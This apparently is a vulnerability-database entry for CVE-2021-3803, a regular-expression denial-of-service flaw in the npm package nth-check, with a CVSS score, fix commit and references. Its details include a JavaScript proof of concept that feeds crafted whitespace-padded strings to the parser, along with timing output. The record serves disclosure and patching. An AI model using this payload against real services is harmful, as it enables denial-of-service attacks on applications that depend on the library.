{"id":"CVE-2021-3803","aliases":["GHSA-rp65-9cf3-cjxr"],"url":"https://o3.security/vulnerability/CVE-2021-3803","summary":"Inefficient Regular Expression Complexity in nth-check","details":"There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```","published":"2021-09-17T07:15:09.153Z","modified":"2026-07-08T18:29:37.036246148Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"nth-check","fixedVersion":"2.0.1"}],"fix":{"url":"https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726","label":"fb55/nth-check@9894c1d"},"references":[{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html"},{"type":"FIX","url":"https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726"},{"type":"FIX","url":"https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3803"},{"type":"PACKAGE","url":"https://github.com/fb55/nth-check"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T18:29:37.036246148Z"}}